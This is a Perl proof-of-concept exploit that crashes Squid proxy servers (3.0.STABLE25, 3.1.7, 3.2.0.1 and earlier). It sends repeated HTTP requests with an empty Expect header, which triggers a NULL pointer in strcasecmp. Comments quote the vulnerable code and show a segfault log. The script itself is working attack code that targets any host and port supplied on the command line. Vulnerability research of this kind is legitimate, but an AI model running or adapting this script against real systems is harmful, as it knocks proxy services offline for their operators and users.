#!/usr/bin/perl
# hoagie_squid_string_dos.pl
# SQUID REMOTE DENIAL-OF-SERVICE EXPLOIT (<= 3.0.STABLE25, <= 3.1.7, <= 3.2.0.1)
#
# CVE not known yet 
#
# Bug discovered by:
# Phil Oester
#
# src/client_side.cc
# ...
#     if (request->header.has(HDR_EXPECT)) {
#         int ignore = 0;
# #if HTTP_VIOLATIONS
#         if (Config.onoff.ignore_expect_100) {
#             String expect = request->header.getList(HDR_EXPECT);
#             if (expect.caseCmp("100-continue") == 0)
#                 ignore = 1;
#             expect.clean();
#         }
# #endif
#
# ...
# 
# src/String.cci
# ...
#
# char const *
# String::termedBuf() const
# {
#     return buf_;
# }
#
# int
# String::caseCmp(char const *aString) const
# {
#     return strcasecmp(termedBuf(), aString);
# }
# ...
#
# The problem occurs during header lookup in client_side.cc. It is possible that
# you can set empty Header values so the member function termedBuf() returns a
# NULL value -> so the first parameter for strcasecmp() will be NULL
#
# $ ./hoagie_squid_string_dos.pl 127.0.0.1 80
# hoagie_squid_string_dos.pl - squid string denial-of-service <= 3.0.STABLE25 <= 3.1.7 <= 3.2.0.1 remote
# -andi / void.at
#
# [*] server  : 127.0.0.1
# [*] port    : 80
# [*] sending request #1...
# [*] sending request #2...
# [*] sending request #3...
# [*] sending request #4...
# [*] sending request #5...
# [*] sending request #6...
# [*] sending request #7...
# [*] sending request #8...
# [*] sending request #9...
# [*] sending request #10...
#
# $ tail -f cache.log
# FATAL: Received Segment Violation...dying.
# 2010/09/17 13:48:08| storeDirWriteCleanLogs: Starting...
# 2010/09/17 13:48:08|   Finished.  Wrote 0 entries.
# 2010/09/17 13:48:08|   Took 0.00 seconds (  0.00 entries/sec).
# CPU Usage: 0.008 seconds = 0.004 user + 0.004 sys
# Maximum Resident Size: 0 KB
# Page faults with physical i/o: 0
# Memory usage for squid via mallinfo():
#          total space in arena:    2272 KB
#          Ordinary blocks:         2158 KB      6 blks
#          Small blocks:               0 KB      0 blks
#          Holding blocks:           548 KB      2 blks
#          Free Small blocks:          0 KB
#          Free Ordinary blocks:     113 KB
#          Total in use:            2706 KB 119%
#          Total free:               113 KB 5%
# $
#
# 
# THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
# CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
# DAMAGE DONE USING THIS PROGRAM.
#
# VOID.AT Security
# andi@void.at
# http://www.void.at
#
use strict;
use IO::Socket::INET;

my $server = $ARGV[0];
my $port = $ARGV[1];

print "hoagie_squid_string_dos.pl - squid string denial-of-service <= 3.0.STABLE25 <= 3.1.7 <= 3.2.0.1 remote\n" .
      "-andi / void.at\n\n";

if (@ARGV == 2) {
   print "[*] server  : " . $server . "\n";
   print "[*] port    : " . $port . "\n";

   my $request =
      "GET / HTTP/1.1\r\n" .
      "Expect:\n" .
      "Host: " . $server.  "\r\n" .
      "\r\n";

   for (my $i = 0; $i < 10; $i++) {
      my $socket;
      $socket = new IO::Socket::INET(
                    PeerAddr => $server,
                    PeerPort => $port,
                    Timeout  => 300,
                    Proto    => "tcp");
      if (!$socket) {
         print "[*] connection to " . $server . ":" . $port . " failed\n";
         last;
      } 

      print "[*] sending request #" . ($i + 1) . "...\n";
      print $socket $request;

      close $socket;
   }
} else {
   print "parameter missing\n";
}

